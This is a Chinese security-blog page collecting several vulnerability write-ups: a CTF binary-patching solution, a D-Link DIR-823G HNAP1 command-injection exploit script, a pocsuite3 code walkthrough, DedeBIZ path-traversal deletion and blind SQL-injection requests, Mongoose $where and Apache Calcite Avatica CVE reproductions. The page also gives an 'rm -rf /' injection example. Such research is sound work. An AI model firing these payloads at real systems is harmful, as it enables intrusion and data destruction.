安全脉搏 | 分享技术,悦享品质
安全脉搏,高质量的全球互联网安全媒体和技术平台,安全爱好者们交流与分享前沿安全技术的最佳社区。分享技术,悦享品质,关注安全,深耕安全是安全脉搏多年来不变的宗旨和初心。SecPulse.Com
上周参加了国外的比赛,名称叫:ApoorvCTF 看一下老外的比赛跟我们有什么不同,然后我根据国内比赛对比发现,他们考点还是很有意思的,反正都是逆向,哈哈哈 Rusty Vault 题目描述: In the heart of an abandoned shrine, there's an old, rusted vault saidto guard an unspeakable secret. Many have tried to unlock it, but thedoor's demands are strange and no key seems to fit. 进入main函数,开始分析 这个命名方式,大概率是Rust语言 对于rust语言逆向,一般采用动态调试分析的方法 主要还是看汇编,因为F5根本看不出来啥东西。。。 从if比较处,可以看到成功和失败两个结果 那么这个比较绝对很关键 进入后发现,啥也没啊? 坏了,得看汇编,为代码估计又出问题了 发现了check2,果然为代码啥也看不到 对比check1-2 发现是在检测输入的字符串的字符类型,还是冲突的,不管了继续分析 下面可以看到失败 往下滑动可以看到成功 什么意思? 我猜测这题是改条件,然后动态输出flag?还有这好事 后面都是正常输出flag了 那么我们现在去解密的地方回溯,估计我要改一些判断,改变流程,让程序正常走到解密的地方,然后输出flag 教大家一个回溯方法 对标签疯狂X键,交叉引用定位回溯 最终定位到密文,发现是aes_128_cbc模式 需要:key+IV+密文=明文 这是一种思路,大家可以尝试 本文修改流程,让他自动输出明文 现在的思路就是: x键回溯定位关键标签,修改关键判断 让程序自动走向解密 nop掉check1 和 check2 让他们走向自动解密的方向 最终运行程序得到flag,静态patch流程,绕过check1-chekc2 apoorvctf{P4tch_1t_L1k3_1t's_HOt} 这在我们国内比赛还是很少见到的,国内大概率要写脚本解密,或许国内认为加密才是CTF的重点。国外侧重逆向本身,如果可以patch修改流程得到flag,为什么要去写解密脚本呢? 锻炼了我们通过汇编分析程序流程的能力,而不是为代码一键分析。
前言 D-Link DIR-823G v1.02 B05存在命令注入漏洞,攻击者可以通过POST的方式往 /HNAP1发送精心构造的请求,执行任意的操作系统命令。 漏洞分析 binwalk提取固件,成功获取到固件。 现在我们已经进入到应用里了,那么我们在进行分析固件的时候,应该怎么去分析这个情况?首先,我们去分析别人的漏洞,别人是会告诉哪里会出现问题。但是我们现在假设我们是分析一个未知固件,我们就得先知道这个固件有哪些应用,启动了哪些服务,最清晰和简便的方式就是去看我们etc文件下面,里面有个叫init.d的目录,里面是关于启动项的内容。 我们首先来看rcS下面的内容 vim rcS 首先是设置ip,然后挂载了两个文件系统分别是proc,这是与进程相关的文件系统,包括当前进程启动存放在哪个地址。 还有ramfs文件系统,根据以前的笔记,可知ramfs文件系统跟RAM相关。 然后下面就是判断是否还有挂载别的文件系统。 然后mkdir就是创建各种各样的文件夹,都有对应的功能,比如说创建了pptp文件夹,针对拨号上网的功能,然后还有smbd服务,可以看到创建了一个usb的文件夹,说明该固件有可以跟usb也就是U盘相关的操作,接下来都是一些配置信息。 继续往下翻 可以看到该固件启动了web server的web服务,也就是httpd的内容,这里启动的是goahead,通过这个名字,我们可以确定web服务就是goahead,如果想要分析web服务的话,就直接分析goahead就可以。 我们回到squashfs-root目录下,搜索goahead的一些简单情况 grep -ir "goahead" . 最下面是两个启动项的内容,可以忽略,然后第一行是bin的可执行应用,这个其实就是我们最后分析的内容。 那如何分析呢?它是一个HNAP1请求,那就可以去检索我们的HANP1请求 grep -ir "HNAP1" . 可以看到它检索到一些js代码,js代码对我们来说一般,(比较我们是找二进制相关的漏洞) 但是,我们可以发现它匹配了一个二进制程序,也就是goahead。 这里我们先科普一下goahead的一些情况: GoAhead ,它是一个源码,免费、功能强大、可以在多个平台运行的嵌入式WebServer。 goahead的websUrlHandlerDefine函数允许用户自定义不同url的处理函数。 它在进行编写与它相关的请求,是通过websUrlHandlerDefine来确定的。 websUrlHandlerDefine(T("/HNAP1"),NULL,0, websHNAPHandler,0); websUrlHandlerDefine(T("/goform"),NULL,0, websFormHandler,0); websUrlHandlerDefine(T("/cgi.bin"),NULL,0, websCgiHandler,0); 使用ghidra进行逆向分析,goahead二进制文件在squashfs-root目录下的bin目录下 那进入到goahead反编译界面该如何分析呢?一种是找到main函数去进行分析,比较耗时 一种是通过关键字来搜索,反推调用情况,来推测每个功能的解析情况 ctrl+shift+E 匹配成功,停在指定区域 但是它所对应的反编译代码还是很多的,所以我们可以通过反编译出来的函数名,进行查看它的调用关系。 一路往下翻,终于找到我们所要的东西 而且我们看到,这个函数继续往上调的话就是main函数了,所以其实一开始也是可以从main函数来分析的(0.0) 所以现在我们可以重点来分析这个函数 前面还是做一些判断,然后请求还有不止HNAP1,对应的都是一个函数。 同一个函数做的事情,类似于websUrlHandlerDefine这个函数,那HANP1对应的函数是 FUN_0042383c,那就双击进去看看 这里就是漏洞点,这里执行了memset和snprintf,一般来说这里应该是不存在漏洞点,但是下面一条语句是system,也就是把格式化化的字符串直接就拿到了system函数作为参数传递进去,而snprintf这里的参数有个echo,有个单引号问题。 比如说正常代码 #!/bin/bash read -p "Enter your name: " name echo 'Hello, '$name'!' 攻击步骤: 正常输入:用户输入 Alice,输出: Hello, Alice! 恶意输入:用户输入 '$(id)',此时脚本实际执行的命令变为: echo 'Hello, ''$(id)'!' 输出: Hello, $(id)! 单引号内的 $(id) 不会被执行,暂时安全。 更危险的输入:用户输入 ' && rm -rf / #,命令变为: echo 'Hello, '' && rm -rf / #'! 此时,第一个单引号被用户输入的 ' 闭合。&& rm -rf / 成为独立命令,在 echo 之后执行。# 注释掉后续的 '!,避免语法错误。 那么会导致rm -rf / 会被执行,删除系统文件! 所以,如果我们构造一些恶意的代码写入到snprintf中,再传递到system函数,就会造成命令注入漏洞。 但是我们要进到漏洞点的话,还需要满足函数上面的一些要求。 所以我们得符合上面函数的一些限制才能进入到漏洞点来,这里先取了PTR_s_SetMultipleActions_00588d80的首地址,赋值给DAT_0058a6c4,然后DAT_0058a6c4自身判断和自加2来进行循环判断,用strstr函数查找DAT_0058a6c4在param_+0x524中出现的位置,并赋值给pcVar1,如果pcVar1的值不为0的话,就会进入到我们的漏洞点来。 DAT_0058a6c4与PTR_s_SetMultipleActions_00588d80相关,双击进去看看 可以看到里面都是它对应的一些方法,比如说SetMultipleActions之类的。 固件模拟 分析到这里,基本上是明朗了,接下来就要进行固件模拟操作,使用firmadyne模拟固件启动。 sudo ./DIR823G_V1.0.2B05_20181207.sh 然后firmadyne默认的密码就是firmadyne 得等一段时间,然后192.168.0.1 但是这个一直搞不定,模拟不起来,也不知道是什么原因,排查不出。 然后换成了firmware analysis plus (fap)这个框架,就模拟起来了 等一段时间后,回车,就可以模拟起来了,输入192.168.0.1 进入向导,随便输入点东西 密码8位,输入12345678 然后就开始配置一些内容,同时可以注意到左侧已经把一些数据写入到关键的文件夹中 配置完毕,登录,成功进入路由器 exp编写 #!/usr/bin/env python #-*- coding:utf-8 -*- import requests ip='192.168.0.1' command="'`echo aaaaaaaaa > /web_mtn/test.txt`'" length=len(command) headers=requests.utils.default_headers() headers["Content-Length"]=str(length) headers["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36" headers["SOAPAction"]='"http://purenetworks.com/HNAP1/GetClientInfo"' headers["Content-Type"]="text/xml; charset=UTF-8" headers["Accept"]="*/*" headers["Accept-Encoding"]="gzip, deflate" headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8" payload=command r=requests.post('http://'+ip+'/HNAP1/', headers=headers, data=payload) 因为是http请求,所以我们使用requests,然后设置ip,设置命令,构造报头,最后post请求将HNAP1,headers和payload都传过去。 复现完毕,ctrl+a 然后x结束固件模拟。
pocsuite3 是由 知道创宇 404实验室 开发维护的开源远程漏洞测试和概念验证开发框架。为了更好理解其运行逻辑,本文将从源码角度分析该项目的初始化,多线程函数,poc模板等等源码。 项目结构 api:对要导入的包重命名,方便后续导入调用data:存储用户需要使用的文档数据lib:项目核心代码modules:存储用户自定义的模块plugins:存储用户自定义的插件pocs:存储poc文件shellcodes:存储生成php,java,python等脚本语言的利用代码,以及反弹shell的利用代码cli.py:项目的入口console.py:命令行界面 进入项目入口:/pocsuite3/cli.py check_environment() #检查当前工作目录是否符合当前系统set_paths(). #设置后续需要用到的数据,目录信息banner() #打印命令行页面的横幅 init_options(cmd_line_parser().dict) # 命令行参数处理跟进cmd_line_parser()查看: 此处注意一个参数-c target.add_argument("-c", dest="configFile", help="Load options from a configuration INI file") 可以先在pocsuite.ini配置好参数,通过pocsuite -c pocsuite.ini 运行 双重跟进init_options(),找到命令行存储参数: 可见采用了类似字典的形式存储,避免了重复数据且还有其它四个参数也采用了该形式存储,五个参数贯穿整个项目 conf:存储基本配置信息kb:存储了目标地址、加载的PoC、运行模式、输出结果、加载的PoC文件地址、多线程信息等cmd_line_options:是存储命令行输入的参数值merged_options:存储输入值与默认值合并后的结果paths:存储数据、插件、poc等目录地址 参数获取处理完后,进入项目初始化,init()函数,一下对部分函数进行注解分析: def init(): """ Set attributes into both configuration and knowledge base singletons based upon command line and configuration file options. """ set_verbosity() #日志输出级别设置 _adjust_logging_formatter() #调整日志格式器 _cleanup_options() #将各个配置项格式化,并校验合法性 _basic_option_validation() #校验seebug,zoomeye等api,token的合法性 _create_directory() #检测文件路径是否存在,不存在则创建 _init_kb_comparison() update() _set_multiple_targets() #读取目标 _set_user_pocs_path() _set_pocs_modules() #动态加载poc _set_plugins() #动态加载插件 _init_targets_plugins() _init_pocs_plugins() _set_task_queue() #初始化多线程设置 _init_results_plugins() #初始化输出插件 AttribDict类解析 前文也提到过以下五个全局变量,它们均通过创建AttribDict类的实例进行使用,现在我们跟进类详细分析: AttribDict()类: 自定义类,继承自python内建的OrderedDict类,扩展访问方式,简化了对字典键的访问。主要存在三个方法:getattr(),setattr(),delattr()这三个方法在if判断逻辑均相同:1:以双下划线 __ 开头(例如,Python 的内置属性,如 dict)。2:以 _OrderedDict__ 开头(因为 OrderedDict在内部实现中使用的名称)。3:名字存在于 exclude_keys 集合中(排除的键)。如果任一条件成立,说明这个属性不应该通过 obj.attr访问,所以跳过使用自定义的 getattr处理,直接调用父类对应的方法访问。例:getattr()就调用父类的getattribute()访问 如果属性名不满足,则通过字典的方式,添加或者删除AttribDict中 地址处理代码分析 先查看存储初始数据,存在则进行下一步。通过set()创建集合方便去重,再遍历conf.url数据,通过parde_target()进行对url进行分析处理,并且在不为空的情况下调用集合的add()方法添加,完成后再将,用于临时存储的target集合里面的数据,放到kb这种全局变量内。parde_target()函数 接受参数后先if判断,如果是域名,url,ip:端口形式则直接赋值给target跟进其中一个判断函数: 跟进: 可见是通过正则进行判断。接着再判断如果为http://ipv6形式,则启动ipv6配置,并进行赋值target,依旧是正则判断。 再判断如果为ipv4则调用python内置ip_address解析赋值,该方法自动区分ipv4或者ipv6并最后返回对应的对象。再通过else判断,对纯ipv6地址,或者ipv6网络进行解析赋值。 动态poc加载 Step1:从pocs目录加载先通过os.listdir读取对应目录,返回一个含有poc的py文件的列表。再通过filter()函数过滤init.之类文件,不过此时filter()函数返回的是一个迭代器,所以又通过list()函数将数据处理成列表再赋值。(lambda x: x not in ['init.py','init.pyc']:这个匿名函数会检查每个文件名 x 是否不等于'init.py' 或 'init.pyc'。) 再从含有类似thinkphp_poc.py的文件名中,通过x变量循环读取,并通过splitex()函数将其分为"thinkphp_poc",".py"格式的键值队元组。再次通过dict()字典函数,将x元组的第一个元素作为字典的键,第二个元素作为字典的值。 如果poc是目录,则使用 os.walk() 递归遍历该目录下的所有文件,过滤出 .py或 .yaml 文件,并将其完整路径添加到 _pocs 列表中。 Step2:遍历加载 PoC 文件内容并检查,并对加载失败的poc进行日志记录。 Step3:最后从 Seebug 网站加载 PoC。 poc模版跟据目录找到现存poc:pocsuite3/pocs,thinkphp_rce为例 所有模版均是继承自父类POCBase,跟进: 父类在初始化时便设置了一系列可能用到的属性,例如自定义headers,目标url,端口等等。这里关注execute()函数 self.url处采用if判断:如果为http协议则采用parse_target_url()解析,else采用build_url()解析:mode值默认为verify。随后调用_execute()根据mode值执行。 shell(),attack(),_verify()均需自定义重写。回到例thinkphp_rce例子:_verify()函数如下: 调用了_check()函数进行检验: 通过request.post()发送设置好payload的请求,根据返回包关键字判断是否成功。(flag自定义)返回的结果在_verify()函数又会调用parse_output()转化为json格式输出。 动态核心load_file_to_module()继续分析_set_pocs_modules() 将读取文件切割为文件名和后缀名,根据后缀名重构路径file_pth,if判断file_path构建成功则进入红框代码处。 通过get_filename()从file_path路径提取文件名,由于wuth.ext=False,则不提取文件名后缀,提取后拼接在pocs_后并赋值给module,例如:pocs_thinkphp_rce。随后三行代码涉及到python中动态模块加载知识: spec = importlib.util.spec_from_file_location(module_name, file_path, loader=PocLoader(module_name, file_path)) #创建模块规格,采用自定义加载器类加载模块,loader:加载器对象,负责如何从文件加载模块 mod = importlib.util.module_from_spec(spec)#根据规格创建模块对象 spec.loader.exec_module(mod) #执行模块代码,确保为完整可用的模块 动态模块注解: 模块是包含 Python 代码的文件,可以通过 import语句加载并使用。通常,当你使用 import 语句导入一个模块时,Python会根据模块的名称查找相应的文件(如 .py 文件),并将其加载到内存中。 然而,在一些特殊的情况下,比如动态加载模块或运行时创建模块,我们需要用到importlib 模块。importlib提供了一些工具,可以帮助我们在运行时加载模块,而不是在编写代码时静态地导入。 例如:importlib.util.spec_from_file_location spec(模块加载规格)描述了如何加载一个模块。它定义了如何找到模块代码,如何加载它,以及加载时需要的一些元数据。类似于说明书,它告诉Python 模块在哪里、叫什么名字、以及如何加载它。 接着看看是如何调用loader加载器的exec_module()函数进行加载的: filename接受poc绝对路径,poc_code接受poc文件内容。随后调用check_requires()检查代码运行中需要的包,通过import函数导入。compile()为python内置函数,将源代码字符串poc_code编译为字节码,'exec'这是一个编译模式,表示代码将作为一段可执行的代码被执行。常见的编译模式有'eval'(用于单个表达式)和 'exec'(用于整个代码块)之后再调用exec()函数执行字节码对象obj当中的代码,并绑定到module.dict上,这样就可以通过module.函数()直接调用poc_code当中的函数。 多线程与输出加载 跟进:_set_task_queue() if判断,poc模版与目标ip均不为空情况下,遍历出poc_module与target。并将它们组成元组,加入kb.task_queue中,确保数据在线程安全传输。 start()函数 调用runtime_check()检查poc是否加载成功: 再调用python标准库中的queue.Queue类的qsize()方法,获取先前kb.task_queue队列的任务数量。run_threads()函数随后进入start()函数核心:run_threads(conf.threads, task_run):该函数传入线程数conf.threads(),与多线程执行函数task_run()。 这个函数的目的是启动多个线程并执行给定的函数thread_function。num_threads: 需要启动的线程数量。thread_function: 要在线程中运行的目标函数。args: 传递给 thread_function 的参数,默认为空元组。forward_exception: 控制是否在捕获异常后继续传播异常,默认值为 True。start_msg: 控制是否输出启动线程的消息,默认值为 True。 先threads = []创建空列表,用来存储后续的线程实例 随后进行线程数检查,如果大于1,则是多线程,并在线程数超过max时发出告警提示,线程不大于1,则直接执行函数 检查完为多线程则进行下一步:循环创建线程,并启动 根据num_threads数量循环创建,并调用setDaemon(TRUE)将所有线程设置为守护线程。(守护线程:后台运行,随主线程终止而终止) 随后再调用python标准库函数isAlive()进行循环检查,直到所有线程完成才跳出循环。(python3建议使用is_Alive()函数)。 执行完run_threads()函数后,finally代码再执行task_done(),跟进该函数,内部存在三个函数: show_task_result():会取出poc执行结果,然后格式化输出 result_plugins_start():该函数负责调用file_record.py中的start()函数 result_compare_handle():显示来自各个搜索引擎的对比数据 先前已经分析了start(0函数核心在于run_threads(conf.threads,task_run),我们接着跟进分析多线程执行函数:task_run() 多线程执行函数: task_run(): 先确认task_queue不为空,并且thread_continue为真,随后从task_queue获取目标ip与poc模版 (之前通过task_queue.put((target,poc_module))存储进去的) 随后调用python标准库copy模块中的dee***y,进行深拷贝操作,复制poc模版,防止原始poc模块被修改。 poc_name获取poc模块名称方便日志打印。 随后处理用户自定义参数,检查是否尝试修改白名单内容,并校验是否存在必选参数未设置。 随后进入核心代码块,根据传参调用excute()函数: 后续则是根据测试成功或者失败,对结果进行处理输出 综合文章分析,pocsuite3项目被我分成如下执行流程: 在clip.py中调用main()函数,整个项目则开始执行,进行环境检查,参数获取后,则进入核心代码:在main()函数中调用init()与start()函数,最后则是我上文刚分析过的数据处理与输出格式化。
之前简单审计过DedeBIZ系统,网上还没有对这个系统的漏洞有过详尽的分析,于是重新审计并总结文章,记录下自己审计的过程。 https://github.com/DedeBIZ/DedeV6/archive/refs/tags/6.2.10.zip 📌DedeBIZ 系统并非基于 MVC 框架,而是采用 静态化与动态解析结合 的方式进行页面处理。其“路由”主要依赖 静态文件跳转 和 数据库模板解析,因此可以直接访问 PHP 文件来触发相应的动态解析逻辑。 我一般会首先关注对文件的操作,任意文件上传、任意文件删除,任意文件读取、任意文件下载等漏洞都是我第一时间关注的重点,除了黑盒测试时关注功能点外,通过代码审计来看的话速度会更快一点。(这里有一个小技巧,就是直接全局搜索?filename=,一些 js 文件中可能会包含对文件处理的操作,搜索到后就可以直接进行尝试。) 授权任意文件删除 GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt HTTP/1.1 Host: dedev6.test Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b; DedeStUUID=22636dd1d7205; DedeStUUID__ckMd5=bae1ecb193958e0d; ENV_GOBACK_URL=%2Fadmin%2Fmychannel_main.php Connection: close src\admin\file_manage_control.php src\admin\file_class.php#DeleteFile 该漏洞发生在 file_manage_control.php 处理 fmdo=del请求时,由于 DeleteFile方法直接拼接 filename参数生成完整路径并调用 unlink 删除文件,缺乏路径校验,导致攻击者可以构造 ../进行目录遍历,删除任意文件。通过 GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt请求,利用 filename=../1.txt逃出受限目录,删除站点根目录下的 1.txt文件。 授权 SQL 注入 首先需要创建表单 修改添加字段信息 点击字段发布信息 构造数据包 POST /admin/diy_list.php?action=delete&diyid=1&id[]=1)AND+sleep(5 HTTP/1.1 Host: dedev6.test Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://dedev6.test/admin/index_body.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 构造 payload 1)AND+(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end (case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end 为 true 与查询出的数据库名 dedebiz 第一个字母 d 的 ascii 相符合。 为什么我们操作的时候需要那么多的前置条件呢,接下来我会详细说明,首先我们从代码层面查看: src/admin/diy_list.php 对传入的参数 数组 id 通过 , 拼接起来,最后传参到 SQL 语句: $query = "DELETE FROM `$diy->table` WHERE id IN ($ids)"; 参数可以通过 ) 闭合,构成 SQL 注入 我们注意到: $query = "DELETE FROM `$diy->table` WHERE id IN ($ids)"; if ($dsql->ExecuteNoneQuery($query)) { showmsg('删除成功', "diy_list.php?action=list&diyid={$diy->diyid}"); } else { showmsg('删除失败', "diy_list.php?action=list&diyid={$diy->diyid}"); } 执行的结果并不会直接返回到界面上,所以这个漏洞时一个盲注漏洞,基于盲注漏洞的特点以及执行数据库时,如果这个表为空,那么便不会执行成功,为了使这个数据库语句执行成功,数据库中必须先保存有数据。 同时这个注入漏洞可以说绝无仅有: 对比代码我们发现,就这一部分没有对变量 id 的类型进行检测。
漏洞简介 CVE-2024-53900 Mongoose 8.8.3、7.8.3 和 6.13.5 之前的版本容易受到 $where 运算符不当使用的影响。此漏洞源于 $where 子句能够在 MongoDB 查询中执行任意 JavaScript 代码,这可能导致代码注入攻击以及未经授权的数据库数据访问或操纵。 CVE-2025-23061 Mongoose 8.9.5、7.8.4 和 6.13.6 之前的版本容易受到 $where 运算符不当使用的影响。此漏洞源于 $where 子句能够在 MongoDB 查询中执行任意 JavaScript 代码,可能导致代码注入攻击以及未经授权的数据库数据访问或操纵。该问题的存在是因为CVE-2024-53900的修复不完整。 Mongoose 是一个用于 Node.js 的 MongoDB 对象建模工具,它使得与 MongoDB 数据库交互变得更加简单和高效。我们可以看到这两个漏洞描述大体相同,都是因为在使用 $where 运算符时出现了问题。 环境搭建 安装 MongoDB 不知道是不是本地环境的问题,错误百出,于是还是采用 docker 来安装 docker pull mongo docker run --name mongodb -d -p 27017:27017 mongo 快速创建一个项目并指定 mongoose 版本 npm init -y npm install mongoose@6.13.4 --save node test.js 漏洞复现 根据漏洞特点我编写了一个 js 脚本,在不同版本下执行,比较不同情况对应的结果 const mongoose = require("mongoose"); // 连接 MongoDB const MONGO_URI = "mongodb://localhost:27017/testdb"; async function testWhereInjection() { await mongoose.connect(MONGO_URI, { useNewUrlParser: true, useUnifiedTopology: true }); // 定义 User 模型和 Post 模型 const UserSchema = new mongoose.Schema({ username: String, isAdmin: Boolean, password: String }); const PostSchema = new mongoose.Schema({ title: String, content: String, author: { type: mongoose.Schema.Types.ObjectId, ref: 'User' } }); const User = mongoose.model("User", UserSchema); const Post = mongoose.model("Post", PostSchema); // 插入测试数据 await User.deleteMany({}); await Post.deleteMany({}); const users = await User.insertMany([ { username: "admin", isAdmin: true, password: "admin123" }, { username: "user1", isAdmin: false, password: "user123" }, { username: "user2", isAdmin: false, password: "user456" } ]); await Post.insertMany([ { title: "Post 1", content: "Content 1", author: users[0]._id }, { title: "Post 2", content: "Content 2", author: users[1]._id } ]); console.log("√ 已插入测试数据"); // 1. 正常的 populate 查询 try { const result = await Post.findOne().populate({ path: 'author', match: { username: "admin" } }); console.log("√ 正常 populate 查询结果:", result); } catch (err) { console.error("× 正常 populate 查询失败:", err.message); } // 2. 测试 populate match 中的 $where 注入 try { const result = await Post.findOne().populate({ path: 'author', match: { $where: "this.isAdmin" } // 修改这里,去掉 return }); console.log("√ `$where` populate 查询成功,说明可能存在漏洞:", result); } catch (err) { console.error("× `$where` populate 查询被拦截:", err.message); } // 3. 测试深层嵌套的 $where 注入 try { const result = await Post.findOne().populate({ path: 'author', match: { $and: [ { nested: { $where: "this.isAdmin" } } // 修改这里,去掉 return ] } }); console.log("√ 嵌套 `$where` populate 查询成功,说明可能存在漏洞:", result); } catch (err) { console.error("× 嵌套 `$where` populate 查询被拦截:", err.message); } // 4. 测试数组中的 $where 注入 try { const result = await Post.findOne().populate({ path: 'author', match: [{ $where: "this.isAdmin" }] // 修改这里,去掉 return }); console.log("√ 数组中的 `$where` populate 查询成功,说明可能存在漏洞:", result); } catch (err) { console.error("× 数组中的 `$where` populate 查询被拦截:", err.message); } await mongoose.disconnect(); } testWhereInjection().catch(console.error); mongoose@6.13.4 mongoose@6.13.5 mongoose@6.13.6 通过执行结果我们发现,在 mongoose@6.13.4 中,$where 语句可以任意执行语句,经过修复后的 mongoose@6.13.5 中,只能通过嵌套来执行插入的语句,mongoose@6.13.6 已经修复了通过嵌套执行插入语句的问题。 漏洞分析 https://github.com/Automattic/mongoose/compare/6.13.4...6.13.5?diff=split&w= 第一次进行修复 1. 首先判断 match 是否为一个数组,使用 Array.isArray(match)进行检查。 2. 如果 match 是一个数组,则使用 for...of 循环遍历数组中的每个元素 item。 3. 对于每个 item,进行以下检查: 如果item 不为 null (item !\= null),并且 item 对象中存在 $where 属性(item.$where),则抛出一个 MongooseError 异常,错误信息为 "Cannot use $where filter with populate() match"。这是因为在 populate() 查询中不允许使用 $where 操作符。 4. 如果 match 不是一个数组,则进行另一个判断: 如果 match 不为 null (match !\= null),并且 match 对象中存在 $where 属性(match.$where !\= null),同样抛出一个 MongooseError 异常,错误信息为 "Cannot use $where filter with populate() match"。 进行 populate() 查询时,防止使用 $where 操作符,检查传入的 match 参数是否包含 $where 属性,无论 match 是一个数组还是一个对象。如果发现 match 中存在 $where 属性,就会抛出一个 MongooseError 异常,提示不能在 populate() 查询中使用 $where 过滤器 https://github.com/Automattic/mongoose/compare/6.13.5...6.13.6?diff=split&w= 第二次修复 1. 函数接受一个参数 match,表示要检查的对象。 2. 首先进行两个条件判断: 如果 match 为null 或 undefined,直接返回,不进行后续检查。 如果 match 的类型不是对象,也直接返回,不进行后续检查。 这两个判断是为了避免对非对象类型进行遍历和递归。 3. 使用 Object.keys(match) 获取 match 对象的所有属性键,并使用 for...of 循环遍历每个属性键 key。 4. 对于每个属性键 key,进行以下检查: 如果 key 等于 '$where',表示在 match 对象中发现了 $where 操作符,抛出一个 MongooseError 异常,错误信息为 "Cannot use $where filter with populate() match"。 5. 如果当前属性的值 match[key] 不为 null 或 undefined,并且其类型为对象,则递归调用 throwOn$where 函数,将 match[key] 作为参数传入,对嵌套的对象进行相同的检查。 通过递归调用 throwOn$where 函数,可以对 match 对象进行深度遍历,检查其中是否包含 $where 操作符,无论 $where 操作符位于对象的哪个层级。
前段时间看到Apache Calcite Avatica远程代码执行漏洞 CVE-2022-36364 在网上搜索也没有找到相关的分析和复现文章,于是想着自己研究一下,看能不能发现可以利用的方法。 首先利用一下最近比较热门的 Deepseek ,询问他是否清楚漏洞相关的信息。 通过回答我们可以了解到这个漏洞的概况,具体漏洞的版本,以及漏洞产生的原因。 漏洞简介 Apache Calcite Avatica JDBC 驱动程序根据通过 httpclient_impl 连接属性提供的类名来创建 HTTP 客户端实例;但是在驱动程序实例化之前不会验证该类是否实现了预期的接口,这样一来就会导致可以通过调用任意类来执行代码。 执行这个漏洞并造成一定的危害性,还需要两个先决条件: 必须拥有控制 JDBC 连接参数的权限 类路径中有一个具有 URL 参数和执行代码能力的函数(目前需要自己构造) 漏洞复现&分析 简单点,通过 maven 来创建漏洞环境 org.apache.calcite.avatica avatica 1.21.0 创建完成漏洞环境后,我们就需要来编写一段代码想办法触发这个漏洞,我个人的建议是通过对比代码补丁,一般来说修复完成代码后,总会写一个测试类来进行测试 import org.apache.calcite.avatica.BuiltInConnectionProperty; import org.apache.calcite.avatica.ConnectionConfig; import org.apache.calcite.avatica.ConnectionConfigImpl; import org.apache.calcite.avatica.remote.AvaticaHttpClient; import org.apache.calcite.avatica.remote.AvaticaHttpClientFactory; import org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl; import java.net.URL; import java.util.Properties; public class test { public static void main(String[] args) throws Exception { Properties props = new Properties(); props.setProperty(BuiltInConnectionProperty.HTTP_CLIENT_IMPL.name(),"className"); URL url = new URL("url"); ConnectionConfig config = new ConnectionConfigImpl(props); AvaticaHttpClientFactory httpClientFactory = new AvaticaHttpClientFactoryImpl(); AvaticaHttpClient client = httpClientFactory.getClient(url, config, null); } } 这样一来我们就编写了一个漏洞 Demo calssName 和 url 的值是我们可以操作控制的,我们进行调试分析一下 org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#getClient 这个地方我们就注意到了最后调用 instantiateClient 来处理的两个参数 className 和 url 一个来自于直接传参,另一个来自于 config.httpClientClass() 会从 config 对象中获取 HTTP 客户端的实现类名称,并将其作为一个 String 返回 所以当参数传入到 org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#instantiateClient 其中的两个参数 className 和 url 都是我们可以控制的 不需要向下继续调试,我们就看到了关键代码 constructor.newInstance(Objects.requireNonNull(url)); 这样一来我们就可以通过控制 className 和 url 来实现调用任意类,但是这个类的必须有 URL 参数的处理 刚开始想到的方法是 利用 spring 中的类构造函数加载远程配置实现 RCE org.springframework.context.support.ClassPathXmlApplicationContext import org.springframework.context.support.ClassPathXmlApplicationContext; public class JXpathDemo { public static void main(String[] args) { String s = "http://127.0.0.1:8080/bean.xml"; ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(s); } } 似乎如此一来就满足了条件,我们先试试 爆出了一个错误,我们注意到 lassPathXmlApplicationContext 类没有接收 java.net.URL 参数的构造方法。ClassPathXmlApplicationContext 类的构造方法接收的是 String 类型的路径,通常是用于加载 Spring 配置文件的路径。 所以这种利用方式适用于很多种情况 Apache Commons JXPath 远程代码执行、PostgresQL JDBC Driver 任意代码执行 等,但是并不适配当前的环境。(目前还没有找到合适的类来触发利用这种漏洞) 为了进一步体现危害性,我自己创建一个类来体现 import java.net.URL; public class CustomHttpClient { private URL url; // 构造函数,接受一个 URL 类型的参数 public CustomHttpClient(URL url) throws Exception { Runtime.getRuntime().exec("calc.exe"); } } 漏洞修复 通过对比我们发现对传入的类进行了控制,限定必须属于AvaticaHttpClient 的子类 https://github.com/apache/calcite-avatica/commit/0c097b6a685fc1f97f151505a219976f15ed0c4c?diff=split&w=0
